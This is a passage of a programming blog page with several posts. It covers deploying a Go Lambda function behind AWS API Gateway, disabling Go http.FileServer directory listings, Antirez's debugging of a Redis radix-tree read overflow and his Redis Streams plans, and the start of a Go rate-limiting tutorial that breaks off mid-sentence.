lambda:InvokeFunction --principal apigateway.amazonaws.com \ --source-arn arn:aws:execute-api:us-east-1:account-id:rest-api-id/*/*/* { "Statement": "{\"Sid\":\"6d658ce7-3899-4de2-bfd4-fefb939f731\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-east-1:account-id:function:books\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-east-1:account-id:rest-api-id/*/*/*\"}}}" } Note that the --statement-id parameter needs to be a globally unique identifier. This could be a random ID or something more descriptive. Alright, let's try again: $ aws apigateway test-invoke-method --rest-api-id rest-api-id --resource-id resource-id --http-method "GET" { "status": 502, "body": "{\"message\": \"Internal server error\"}", "headers": {}, "log": "Execution log for request test-request\nThu Apr 05 11:12:53 UTC 2018 : Starting execution for request: test-invoke-request\nThu Apr 05 11:12:53 UTC 2018 : HTTP Method: GET, Resource Path: /books\nThu Apr 05 11:12:53 UTC 2018 : Method request path: {}\nThu Apr 05 11:12:53 UTC 2018 : Method request query string: {}\nThu Apr 05 11:12:53 UTC 2018 : Method request headers: {}\nThu Apr 05 11:12:53 UTC 2018 : Endpoint response body before transformations: {\"isbn\":\"978-0486298238\",\"title\":\"Meditations\",\"author\":\"Marcus Aurelius\"}\nThu Apr 05 11:12:53 UTC 2018 : Endpoint response headers: {X-Amz-Executed-Version=$LATEST, x-amzn-Remapped-Content-Length=0, Connection=keep-alive, x-amzn-RequestId=48d29098-38c2-11e8-ae15-f13b670c5483, Content-Length=74, Date=Thu, 05 Apr 2018 11:12:53 GMT, X-Amzn-Trace-Id=root=1-5ac604b5-cf29dd70cd08358f89853b96;sampled=0, Content-Type=application/json}\nThu Apr 05 11:12:53 UTC 2018 : Execution failed due to configuration error: Malformed Lambda proxy response\nThu Apr 05 11:12:53 UTC 2018 : Method completed with status: 502\n", "latency": 211 } So unfortunately there's still an error, but the message has now changed: Execution failed due to configuration error: Malformed Lambda proxy response And if you look closely at the output you'll see the information: Endpoint response body before transformations: {\"isbn\":\"978-0486298238\",\"title\":\"Meditations\",\"author\":\"Marcus Aurelius\"} So there's some definite progress here. Our API is talking to our lambda function and is receiving the correct response (a book object marshalled to JSON). It's just that the AWS API Gateway considers the response to be in the wrong format. This is because, when you're using the API Gateway's lambda proxy integration, the return value from the lambda function must be in the following JSON format: { "isBase64Encoded": true|false, "statusCode": httpStatusCode, "headers": { "headerName": "headerValue", ... }, "body": "..." } So to fix this it's time to head back to our Go code and make some alterations. Working with events The easiest way to provide the responses that the AWS API Gateway needs is to install the github.com/aws/aws-lambda-go/events package: go get github.com/aws/aws-lambda-go/events This provides a couple of useful types (APIGatewayProxyRequest and APIGatewayProxyResponse) which contain information about incoming HTTP requests and allow us to construct responses that the API Gateway understands. type APIGatewayProxyRequest struct { Resource string `json:"resource"` // The resource path defined in API Gateway Path string `json:"path"` // The url path for the caller HTTPMethod string `json:"httpMethod"` Headers map[string]string `json:"headers"` QueryStringParameters map[string]string `json:"queryStringParameters"` PathParameters map[string]string `json:"pathParameters"` StageVariables map[string]string `json:"stageVariables"` RequestContext APIGatewayProxyRequestContext `json:"requestContext"` Body string `json:"body"` IsBase64Encoded bool `json:"isBase64Encoded,omitempty"` } type APIGatewayProxyResponse struct { StatusCode int `json:"statusCode"` Headers map[string]string `json:"headers"` Body string `json:"body"` IsBase64Encoded bool `json:"isBase64Encoded,omitempty"` } Let's go back to our main.go file and update our lambda handler so that it uses the signature: func(events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) Essentially, the handler will accept a APIGatewayProxyRequest object which contains a bunch of information about the HTTP request, and return a APIGatewayProxyResponse object (which is marshalable into a JSON response suitable for the AWS API Gateway). File: books/main.gopackage main import ( "encoding/json" "fmt" "log" "net/http" "os" "regexp" "github.com/aws/aws-lambda-go/events" "github.com/aws/aws-lambda-go/lambda" ) var isbnRegexp = regexp.MustCompile(`[0-9]{3}\-[0-9]{10}`) var errorLogger = log.New(os.Stderr, "ERROR ", log.Llongfile) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func show(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { // Get the `isbn` query string parameter from the request and // validate it. isbn := req.QueryStringParameters["isbn"] if !isbnRegexp.MatchString(isbn) { return clientError(http.StatusBadRequest) } // Fetch the book record from the database based on the isbn value. bk, err := getItem(isbn) if err != nil { return serverError(err) } if bk == nil { return clientError(http.StatusNotFound) } // The APIGatewayProxyResponse.Body field needs to be a string, so // we marshal the book record into JSON. js, err := json.Marshal(bk) if err != nil { return serverError(err) } // Return a response with a 200 OK status and the JSON book record // as the body. return events.APIGatewayProxyResponse{ StatusCode: http.StatusOK, Body: string(js), }, nil } // Add a helper for handling errors. This logs any error to os.Stderr // and returns a 500 Internal Server Error response that the AWS API // Gateway understands. func serverError(err error) (events.APIGatewayProxyResponse, error) { errorLogger.Println(err.Error()) return events.APIGatewayProxyResponse{ StatusCode: http.StatusInternalServerError, Body: http.StatusText(http.StatusInternalServerError), }, nil } // Similarly add a helper for send responses relating to client errors. func clientError(status int) (events.APIGatewayProxyResponse, error) { return events.APIGatewayProxyResponse{ StatusCode: status, Body: http.StatusText(status), }, nil } func main() { lambda.Start(show) } Notice how in all cases the error value returned from our lambda handler is now nil? We have to do this because the API Gateway doesn't accept error objects when you're using it in conjunction with a lambda proxy integration (they would result in a 'malformed response' errors again). So we need to manage errors fully within our lambda function and return the appropriate HTTP response. In essence, this means that the return parameter of error is superfluous, but we still need to include it to have a valid signature for the lambda function. Anyway, save the file and rebuild and redeploy the lambda function: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip And if you test it again now it should work as expected. Give it a try with different isbn values in the query string: $ aws apigateway test-invoke-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method "GET" \ --path-with-query-string "/books?isbn=978-1420931693" { "status": 200, "body": "{\"isbn\":\"978-1420931693\",\"title\":\"The Republic\",\"author\":\"Plato\"}", "headers": { "X-Amzn-Trace-Id": "sampled=0;root=1-5ac60df0-0ea7a560337129d1fde588cd" }, "log": [TRUNCATED], "latency": 1232 } $ aws apigateway test-invoke-method --rest-api-id rest-api-id \ --resource-id resource-id --http-method "GET" \ --path-with-query-string "/books?isbn=foobar" { "status": 400, "body": "Bad Request", "headers": { "X-Amzn-Trace-Id": "sampled=0;root=1-5ac60e1c-72fad7cfa302fd32b0a6c702" }, "log": [TRUNCATED], "latency": 25 } As a side note, anything sent to os.Stderr will be logged to the AWS Cloudwatch service. So if you've set up an error logger like we have in the code above, you can query Cloudwatch for errors like so: $ aws logs filter-log-events --log-group-name /aws/lambda/books \ --filter-pattern "ERROR" Deploying the API Now that the API Gateway is working properly it's time to make it live. We can do this with the aws apigateway create-deployment command like so: $ aws apigateway create-deployment --rest-api-id rest-api-id \ --stage-name staging { "id": "4pdblq", "createdDate": 1522929303 } In the code above I've given the deployed API using the name staging, but you can call it anything that you wish. Once deployed your API should be accessible at the URL: https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging Go ahead and give it a try using curl. It should work as you expect: $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=978-1420931693 {"isbn":"978-1420931693","title":"The Republic","author":"Plato"} $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=foobar Bad Request Supporting multiple actions Let's add support for a POST /books action. We want this to read and validate a new book record (from a JSON HTTP request body) and then add it to the DynamoDB table. Now that the different AWS services are hooked up, extending our lambda function to support additional actions is perhaps the most straightforward part of this tutorial, as it can be managed purely within our Go code. First update the db.go file to include a new putItem function like so: File: books/db.gopackage main import ( "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/session" "github.com/aws/aws-sdk-go/service/dynamodb" "github.com/aws/aws-sdk-go/service/dynamodb/dynamodbattribute" ) var db = dynamodb.New(session.New(), aws.NewConfig().WithRegion("us-east-1")) func getItem(isbn string) (*book, error) { input := &dynamodb.GetItemInput{ TableName: aws.String("Books"), Key: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(isbn), }, }, } result, err := db.GetItem(input) if err != nil { return nil, err } if result.Item == nil { return nil, nil } bk := new(book) err = dynamodbattribute.UnmarshalMap(result.Item, bk) if err != nil { return nil, err } return bk, nil } // Add a book record to DynamoDB. func putItem(bk *book) error { input := &dynamodb.PutItemInput{ TableName: aws.String("Books"), Item: map[string]*dynamodb.AttributeValue{ "ISBN": { S: aws.String(bk.ISBN), }, "Title": { S: aws.String(bk.Title), }, "Author": { S: aws.String(bk.Author), }, }, } _, err := db.PutItem(input) return err } And then update the main.go function so that the lambda.Start() method calls a new router function, which does a switch on the HTTP request method to determine which action to take. Like so: File: books/main.gopackage main import ( "encoding/json" "fmt" "log" "net/http" "os" "regexp" "github.com/aws/aws-lambda-go/events" "github.com/aws/aws-lambda-go/lambda" ) var isbnRegexp = regexp.MustCompile(`[0-9]{3}\-[0-9]{10}`) var errorLogger = log.New(os.Stderr, "ERROR ", log.Llongfile) type book struct { ISBN string `json:"isbn"` Title string `json:"title"` Author string `json:"author"` } func router(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { switch req.HTTPMethod { case "GET": return show(req) case "POST": return create(req) default: return clientError(http.StatusMethodNotAllowed) } } func show(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { isbn := req.QueryStringParameters["isbn"] if !isbnRegexp.MatchString(isbn) { return clientError(http.StatusBadRequest) } bk, err := getItem(isbn) if err != nil { return serverError(err) } if bk == nil { return clientError(http.StatusNotFound) } js, err := json.Marshal(bk) if err != nil { return serverError(err) } return events.APIGatewayProxyResponse{ StatusCode: http.StatusOK, Body: string(js), }, nil } func create(req events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) { if req.Headers["Content-Type"] != "application/json" { return clientError(http.StatusNotAcceptable) } bk := new(book) err := json.Unmarshal([]byte(req.Body), bk) if err != nil { return clientError(http.StatusUnprocessableEntity) } if !isbnRegexp.MatchString(bk.ISBN) { return clientError(http.StatusBadRequest) } if bk.Title == "" || bk.Author == "" { return clientError(http.StatusBadRequest) } err = putItem(bk) if err != nil { return serverError(err) } return events.APIGatewayProxyResponse{ StatusCode: 201, Headers: map[string]string{"Location": fmt.Sprintf("/books?isbn=%s", bk.ISBN)}, }, nil } func serverError(err error) (events.APIGatewayProxyResponse, error) { errorLogger.Println(err.Error()) return events.APIGatewayProxyResponse{ StatusCode: http.StatusInternalServerError, Body: http.StatusText(http.StatusInternalServerError), }, nil } func clientError(status int) (events.APIGatewayProxyResponse, error) { return events.APIGatewayProxyResponse{ StatusCode: status, Body: http.StatusText(status), }, nil } func main() { lambda.Start(router) } Rebuild and zip up the lambda function, then deploy it as normal: $ env GOOS=linux GOARCH=amd64 go build -o /tmp/main books $ zip -j /tmp/main.zip /tmp/main $ aws lambda update-function-code --function-name books \ --zip-file fileb:///tmp/main.zip And now when you hit the API using different HTTP methods it should call the appropriate action: $ curl -i -H "Content-Type: application/json" -X POST \ -d '{"isbn":"978-0141439587", "title":"Emma", "author": "Jane Austen"}' \ https://rest-api-id.execeast-1.amazonaws.com/staging/books HTTP/1.1 201 Created Content-Type: application/json Content-Length: 7 Connection: keep-alive Date: Thu, 05 Apr 2018 14:55:34 GMT x-amzn-RequestId: 64262aa3-38e1-11e8-825c-d7cfe4d1e7d0 x-amz-apigw-id: E33T1E3eIAMF9dw= Location: /books?isbn=978-0141439587 X-Amzn-Trace-Id: sampled=0;root=1-5ac638e5-e806a84761839bc24e234c37 X-Cache: Miss from cloudfront Via: 1.1 a22ee9ab15c998bce94f1f4d2a7792ee.cloudfront.net (CloudFront) X-Amz-Cf-Id: wSef_GJ70YB2-0VSwhUTS9x-ATB1Yq8anWuzV_PRN98k9-DkD7FOAA== $ curl https://rest-api-id.execute-api.us-east-1.amazonaws.com/staging/books?isbn=978-0141439587 {"isbn":"978-0141439587","title":"Emma","author":"Jane Austen"}

• How to disable http.FileServer directory listings
  Alex Edwards · Mar 14, 2018

  A nice feature of Go's http.FileServer is that it automatically generates navigable directory listings, which look a bit like this: But for certain applications you might want to prevent this behavior and disable directory listings altogether. In this post I’m going to run through three different options for doing exactly that: Using index.html files Using middleware Using a custom filesystem Using index.html files Before http.FileServer generates a directory listing it checks for the existence of an index.html file in the directory root. If an index.html file exists, then it will respond with the contents of the file instead. So it follows that a simple way to disable directory listings is to add a blank index.html file to your root static file directory and all sub-directories, like so: . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ ├── index.html │ └── logo.png ├── index.html └── robots.txt If you've got a lot of sub-directories an easy way to do that is with a one-line command like this: $ find ./static/ -type d -exec touch {}/index.html \; Any requests for a directory should now result in an empty 200 OK response for the user, instead of a directory listing. For example: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 0 Content-Type: text/html; charset=utf-8 Last-Modified: Tue, 13 Mar 2018 12:41:10 GMT Date: Tue, 13 Mar 2018 12:42:35 GMT Or without the trailing slash, the user should get a 301 Redirect like so: $ curl -i http://localhost:4000/static/img HTTP/1.1 301 Moved Permanently Location: /static/img/ Date: Tue, 13 Mar 2018 12:43:13 GMT Content-Length: 43 Content-Type: text/html; charset=utf-8 Moved Permanently. This is a good-enough solution if you can't (or don't want to) make any changes to your Go application itself. But it's not perfect. You'll need to remember to add a blank index.html file for any new sub-directories in the future, and many people — myself included — would argue that a 403 Forbidden or 404 Not Found status would be more appropriate than sending the user an empty 200 OK response. Using middleware Both of these imperfections can be addressed if we take a different approach and implement some custom middleware to intercept requests before they reach the http.FileServer. Essentially, we want the middleware to check if the request URL ends with a / character, and if it does, return a 404 Not Found response instead of passing on the request to the http.FileServer. Here's a basic implementation: package main import ( "log" "net/http" "strings" ) func main() { mux := http.NewServeMux() fileServer := http.FileServer(http.Dir("./static")) mux.Handle("/static/", http.StripPrefix("/static", neuter(fileServer))) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } func neuter(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if strings.HasSuffix(r.URL.Path, "/") { http.NotFound(w, r) return } next.ServeHTTP(w, r) }) } This approach would result in a user getting responses like these: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 12:46:20 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/img HTTP/1.1 301 Moved Permanently Location: /static/img/ Date: Tue, 13 Mar 2018 12:46:55 GMT Content-Length: 43 Content-Type: text/html; charset=utf-8 Moved Permanently. To me, this feels like a cleaner and easier-to-maintain way to disable directory listings than using blank index.html files. But again, it's still not perfect. Firstly, requests for any directories without the trailing slash will be 301 redirected only to receive a 404 Not Found response. It's extra, unnecessary, requests for both the client and server to deal with. Secondly, if one of your directories does contain an index.html file then it won't ever be used. For example, if you have the directory structure... . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ └── logo.png └── robots.txt ... any request to http://localhost:4000/static/css/ will result in a 404 Not Found response instead of returning the contents of the /static/css/index.html file. $ curl -i http://localhost:4000/static/css/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 12:51:09 GMT Content-Length: 19 404 page not found Using a custom filesystem The final option we're going to look at is creating a custom filesystem and passing that to your http.FileServer. There are a couple of approaches described by Brad Fitzpatrick and George Armhold you might want to consider, but I would personally suggest doing something like this: package main import ( "log" "net/http" "path/filepath" ) func main() { mux := http.NewServeMux() fileServer := http.FileServer(neuteredFileSystem{http.Dir("./static")}) mux.Handle("/static", http.NotFoundHandler()) mux.Handle("/static/", http.StripPrefix("/static", fileServer)) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } type neuteredFileSystem struct { fs http.FileSystem } func (nfs neuteredFileSystem) Open(path string) (http.File, error) { f, err := nfs.fs.Open(path) if err != nil { return nil, err } s, err := f.Stat() if s.IsDir() { index := filepath.Join(path, "index.html") if _, err := nfs.fs.Open(index); err != nil { closeErr := f.Close() if closeErr != nil { return nil, closeErr } return nil, err } } return f, nil } In this code we're creating a custom neuteredFileSystem type which embeds the standard http.FileSystem. We then implement an Open() method on it — which gets called each time our http.FileServer receives a request. In our Open() method we Stat() the requested file path and use the IsDir() method to check whether it's a directory or not. If it is a directory we then try to Open() any index.html file in it. If no index.html file exists, then this will return a os.ErrNotExist error (which in turn we return and it will be transformed into a 404 Not Found response by http.Fileserver). We also call Close() on the original file to avoid a file descriptor leak. Otherwise, we just return the file and let http.FileServer do its thing. Putting this to use with the directory structure... . ├── main.go └── static ├── css │ ├── index.html │ └── main.css ├── img │ └── logo.png └── robots.txt ...would result in responses like: $ curl -i http://localhost:4000/static/img/ HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 16:53:21 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/img HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 13 Mar 2018 16:53:22 GMT Content-Length: 19 404 page not found $ curl -i http://localhost:4000/static/css/ HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 37 Content-Type: text/html; charset=utf-8 Last-Modified: Tue, 13 Mar 2018 12:49:00 GMT Date: Tue, 13 Mar 2018 16:53:27 GMT This is my custom index page This is now working pretty nicely: All requests for directories (with no index.html file) return a 404 Not Found response, instead of a directory listing or a redirect. This works for requests both with and without a trailing slash. The default behavior of http.FileServer isn't changed any other way, and index.html files work as per the standard library documentation.

• A short tale of a read overflow
  Antirez · Feb 07, 2018

  [This blog post is also experimentally available on Medium: https://medium.com/antirez/a-short-tale-of-a-read-overflow-b9210d339cff] When a long running process crashes, it is pretty uncool. More so if the process happens to take a lot of state in memory. This is why I love web programming frameworks that are able, without major performance overhead, to create a new interpreter and a new state for each page view, and deallocate every resource used at the end of the page generation. It is an inherently more reliable programming paradigm, where memory leaks, descriptor leaks, and even random crashes from time to time do not constitute a serious issue. However system software like Redis is at the other side of the spectrum, a side populated by things that should never crash. Months ago I received a crash report from my colleague Dvir Volk. He was developing his RediSearch Redis module, so it was not clear if the crash was due to a programming error inside the module, perhaps corrupting the heap, or a bug inside Redis. However it looked a lot like a real problem into the radix tree implementation: === REDIS BUG REPORT START: Cut & paste starting from here === # Redis 999.999.999 crashed by signal: 11 # Crashed running the instuction at: 0x7fceb6eb5af5 # Accessing address: 0x7fce9c400000 | Backtrace: | redis-server *:7016 [cluster](raxRemoveChild+0xd3)[0x49af53] | redis-server *:7016 [cluster](raxRemove+0x34f)[0x49b34f | redis-server *:7016 [cluster](slotToKeyUpdateKey+0x1ad)[0x4415dd] The radix tree is full of memmove() calls, and Redis crashed exactly trying to access a memory address that was oddly zero padded at the end: 0x7fce9c400000. My first thought was, I’m sure I’m doing some wrong memory movement here, and the address gets overwritten with zeroes, leading to the crash when the program attempts the deference the address. I’m pretty proud about my radix tree implementation. Not because of the implementation itself, while it’s a complex data structure to implement, it’s not rocket science. But because of the fuzz tester that comes with it and is able to cover the whole source code (trivial) and a lot of non trivial state (that’s definitely more interesting). The fuzz tester does not do fuzzing just to reach a crash, it compares the implementation of the radix tree dictionary and iterator with a reference implementation that uses an hash table and qsort, to have exactly the same semantics, but in a short and easy to audit implementation. After receiving the crash report I improved the fuzz tester, ran it for days, with and without Valgrind, wrote additional data models, created tests using 100 millions of keys, but despite the efforts I could not reproduce the crash. A few days ago I would discover that there was no bug in the implementation I was testing, but at the time I was not aware of that. I could simply never find a bug that was not there. So after failing to reproduce I gave up. One week ago I received two other additional bug reports that were almost the same. And again, the addresses were zero padded. Dvir crash: Accessing address: 0x7fce9c400000 Issue 4605: Accessing address: 0x7f2959e00000 Issue 4642: Accessing address: 0x7f0e9b800000 It was time to read every memmove, memcpy, realloccall inside the source code, trying to figure out if there was something wrong that for some reason the fuzz tester was not able to catch. I found nothing, but then inspecting the Redis crash report I noticed something funny. During crashes Redis reports the memory mapped areas of the process, things like the following: *** Preparing to test memory region 7f0e8c400000 (255852544 bytes) Now, if you add 255852544to 0x7f0e8c400000, the result is 0x7f0e9b800000 , which is exactly the accessed address in the crash reported in issue 4642. So the program was not crashing because the memory address was corrupted, but because it was accessing an address immediately after the end of the heap. I checked the other issues, and the same was true in all the instances. Basically the end of the heap, at the edge of the start of unmapped addresses, was acting as a memory guard in order to detect and crash when an access was performed outside the bounds. This is a common technique that certain C memory sanitation tools used to employ in the past. Such tools would provide a drop in replacement formalloc() that would return addresses allocated at the edge of a non accessible memory page. Every overflow would be immediately detected in this way. Because the program would crash only in that case, when deallocating a radix tree node at the end of the heap, it was simple to realize that the problem was a read overflow. You can never detect a read overflow otherwise: it will just access data outside your structure, but inside mapped memory, so the bug would be totally harmless and silent, with the exception of doing the same operations at the end of the mapped region. Finally I had a clear place where to look, this portion of C code: /* 3. Remove the edge and the pointer by memmoving the remaining children pointer and edge bytes one position before. */ int taillen = parent->size - (e - parent->data) - 1; debugf("raxRemoveChild tail len: %d\n", taillen); memmove(e,e+1,taillen); /* Since we have one data byte less, also child pointers start one byte before now. */ memmove(((char*)cp)-1,cp,(parent->size-taillen-1)*sizeof(raxNode**)); /* Move the remaining "tail" pointer at the right position as well. */ size_t valuelen = (parent->iskey && !parent->isnull) ? sizeof(void*) : 0; memmove(((char*)c)-1,c+1,taillen*sizeof(raxNode**)+valuelen); /* 4. Update size. */ parent->size--; I asked the user to send me the redis-server binary that produced the crash report, and reading the disassembled code it was clear that many CPU registers, also included in the Redis crash report, would be still populated with the variables above! Note that the CPU registers RDI, RSI, RDX are used in order to pass the first three arguments to memmove. In one of the crashes we had: parent = RBP = 7f2959dffff Checking RDI, RSI, RDX we extract the memmove() arguments: memmove(00007f2959dffff4,00007f2959dffffd,0000000000000008); The memmove will go out of bound accessing up to 7f2959e00004. So I had my proof. But there was more, checking other registers I could also reconstruct the node header, in order to understand how the memmove count argument was obtained. Something was definitely wrong there. Basically I was seeing that the disassembled executable did not match the C function I was reading. How was that possible? The read over the buffer should not happen, because the state was sane. Only the count was incorrectly computed by the crashing instance. It was night, and I had worked at this damn thing for two days no stop, so I decided to create a gist and post it on Twitter, to see if somebody could explain how such C would be turned into such assembler by the compiler. I was lucky enough that my friend Fedor Indutny of Node.js fame was willing to help. He quickly realized that it was very clear why the C and the assembler could not match: what I was analyzing was not the right C code… but a newer version of the same function. Fedor had a GCC 5.4.0 at hand, the same compiler used by the user reporting the bug, so he tried to compile an older version of the code with it, realizing that now the two versions of the emitted code matched perfectly. He pinged me about it, asking if I was sure that this was a recent Redis version. I was absolutely sure, it was Redis 4.0.6. But then I started to have a few doubts, and I took a diff of rax.c between the Redis unstable branch and Redis 4.0. What happened was that I fixed this bug about ten months ago, in the course of the Streams implementation. During the cherry picking activity, where bugfixes from unstable are backported to Redis 4.0, the fix was inside a commit about streams, so I was constantly skipping it. Everything was finally clear, I had debugged for days a bug that was not there in the version that I was testing. If it was just a lame mistake from me, why I did bother to write this blog post? Because, I believe, there are lessons to be learned from all this. The first lesson is that crash reports like the ones Redis is able to emit are a key asset in system software. They allow to reconstruct the state of bugs that you are not able to replicate, but happen very rarely on the wild. While the bug was already fixed, I was able to exactly understand what was happening just looking at the bug reports, register dumps, offending address, and call stack. The second lesson is that you should learn AMD64 assembler today, at least to read comfortably code emitted by the compiler and follow what is happening, if you want to get involved in system programming. This is often the only way to understand what is happening during an heisenbug. Debuggers won’t help much. GDB was claiming that the crash was happening in the instruction parent->size-- which is, of course impossible. But GDB is not to blame, modern compilers, with optimizations turned on, generate code that can hardly be matched back to the source code. Another lesson is how powerful well done fuzz testing is. The fuzz tester was immediately able to find the bug in the broken version. Similarly the fact that no radix tree crash was never observed other than this bug fixed a long time ago, speaks for itself. The radix tree implementation is very complex, yet thanks to fuzz testing there are apparently no bugs in the implementation which is so new and so complex. I want to stress the importance of doing fuzzing not just to find crashes: that’s good for security people that want to discover zero days. Fuzzing for system software should perform random operations according to a sane operation model, and compare the outcome with a reference implementation. And finally, there is a clear lesson for me: next time I need to be more carefully when working at a feature branch and making fixes that are not specific of the feature branch. I was working under the feeling that I would merge everything back into 4.0 ASAP. Then it was not the case, and putting the radix tree update into the same commit implementing Stream things was a fatal error. Well, bonus point, having smart friends help :-) I was a bit lost at that point, and the kind help of Fyodor helped realize the last part of the puzzle and quickly move forward. Don’t be afraid to ask for help. If you get involved in system software, remember that it is very different than other fields in programming. It’s not just that you do some work and you can bring things forward. You must be prepared to spend days trying to understand why a bug happened, a bug that often you are not able to reproduce, because users deserve more than software crashing like that. Comments

• An update on Redis Streams development
  Antirez · Jan 25, 2018

  I saw multiple users asking me what is happening with Streams, when they’ll be ready for production uses, and in general what’s the ETA and the plan of the feature. This post will attempt to clarify a bit what comes next. To start, in this moment Streams are my main priority: I want to finish this work that I believe is very useful in the Redis community and immediately start with the Redis Cluster improvements plans. Actually the work on Cluster has already started, with my colleague Fabio Nicotra that is porting redis-trib, the Cluster management tool, inside the old and good redis-cli. This step involves translating the code from Ruby to C. In the meantime, a few weeks ago I finished writing the Streams core, and I deleted the “streams” feature branch, merging everything into the “unstable” branch. Later I reviewed again, several times actually, the specification for consumer groups. A few weeks ago I finally was happy with the result, so I started the implementation of this specification: https://gist.github.com/antirez/68e67f3251d10f026861be2d0fe0d2f4. Be aware that command names changed quite a bit… With the API being more like this: https://gist.github.com/antirez/4e7049ce4fce4aa61bf0cfbc3672e64d. I’m halfway, after the first 500 lines of code I today was able to see clients using the XREADGROUP command to see only their local history when fetching old messages. This was a milestone in the implementation. Also XACK is now available. Basically all the data structures supporting the streams consumer groups are working, but I need to finish all the commands implementations, support the blocking operations in XREADGROUP and so forth, handle replication, RDB and AOF persistence. More or less in one month I should have everything ready. Because of consumer groups, the RDB format of the Streams is going to change a lot compared to what “unstable” is using right now. And since there is to break compatibility, we’ll also add the ability of RDB files to persist information about keys last access, so that a Redis restart (or slave loading) involving RDB will get all the info needed in order to continue doing the eviction of keys in the correct way. Right now all that information would be lost instead. Because of this radical RDB changes the plan changed a bit: Streams are going to appear in Redis 5.0 and not 4.0, but 5.0 will be released as GA in about two months: this is possible because 5.0 will be just a 4.0 plus streams, no other major features inside, if not for the RDB changes… So TLDR: I’m working to Streams almost full time, if not for some time to check PRs / Issues for critical stuff, and in two months if you upgrade to Redis 5.0 you’ll have production ready streams with consumer groups fully implemented. There is also quite of a documentation effort to perform, I’ll write both the command manuals and an extensive introduction to streams once we go RC1, which is in about one month, so that people will have documentation to support their tests during the release candidate stage. I hope this clarifies what’s happening with Streams. See you soon with Redis 5.0 :-) Comments

• How to rate limit HTTP requests in Go
  Alex Edwards · Dec 28, 2017

  If you're running a HTTP server and want to rate limit user requests, the go-to package to use is probably Tollbooth by Didip Kerabat. It's well maintained, has a good range of features and a clean and clear API. But if you want something simple and lightweight – or just want to learn – it's not too difficult to roll your own middleware to handle rate limiting. In this post I'll run through the essentials of how to do that by using the x/time/rate package, which provides a token bucket rate-limiter algorithm (note: this is also used by Tollbooth behind the scenes). If you would like to follow along, create a demo directory containing two files, limit.go and main.go, and initialize a new Go module. Like so: $ mkdir ratelimit-demo $ cd ratelimit-demo $ touch limit.go main.go $ go mod init example.com/ratelimit-demo Let's start by making a global rate limiter which acts on all the requests that a HTTP server receives. Open up the limit.go file and add the following code: File: ratelimit-demo/limit.go package main import ( "net/http" "golang.org/x/time/rate" ) var limiter = rate.NewLimiter(1, 3) func limit(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if limiter.Allow() == false { http.Error(w, http.StatusText(429), http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) } In this code we've used the rate.NewLimiter() function to initialize and return a new rate limiter. Its signature looks like this: func NewLimiter(r Limit, b int) *Limiter From the documentation: A Limiter controls how frequently events are allowed to happen. It implements a "token bucket" of size b, initially full and refilled at rate r tokens per second. Or to describe it another way – the limiter permits you to consume an average of r tokens per second, with a maximum of b tokens in any single 'burst'. So in the code above our limiter allows 1 token to be consumed per second, with a maximum burst size of 3. In the limit middleware function we call the global limiter's Allow() method each time the middleware receives a HTTP request. If there are no tokens left in the bucket Allow() will return false and we send the user a 429 Too Many Requests response. Otherwise, calling Allow() will consume exactly one token from the bucket and we pass on control to the next handler in the chain. It's important to note that the code behind the Allow() method is protected by a mutex and is safe for concurrent use. Let's put this to use. Open up the main.go file and setup a simple web server which uses the limit middleware like so: File: ratelimit-demo/main.go package main import ( "log" "net/http" ) func main() { mux := http.NewServeMux() mux.HandleFunc("/", okHandler) // Wrap the servemux with the limit middleware. log.Print("Listening on :4000...") http.ListenAndServe(":4000", limit(mux)) } func okHandler(w http.ResponseWriter, r *http.Request) { w.Write([]byte("OK")) } Go ahead and run the application… $ go run . And if you make enough requests in quick succession, you should eventually get a response which looks like this: $ curl -i localhost:4000 HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 21 Dec 2017 19:25:52 GMT Content-Length: 18 Too Many Requests Rate limiting per user While having a single, global, rate limiter is useful in some cases, another common scenario is implement a rate limiter per user, based on an identifier like IP address or API key. In this post we'll use IP address as the identifier. A conceptually straightforward way to do this is to create a map of rate limiters, using the identifier for each user as the map key. At this point you might think to reach for the sync.Map type that was introduced in Go 1.9. This essentially provides a concurrency-safe map, designed to be accessed from multiple goroutines without the risk of race conditions. But it comes with a note 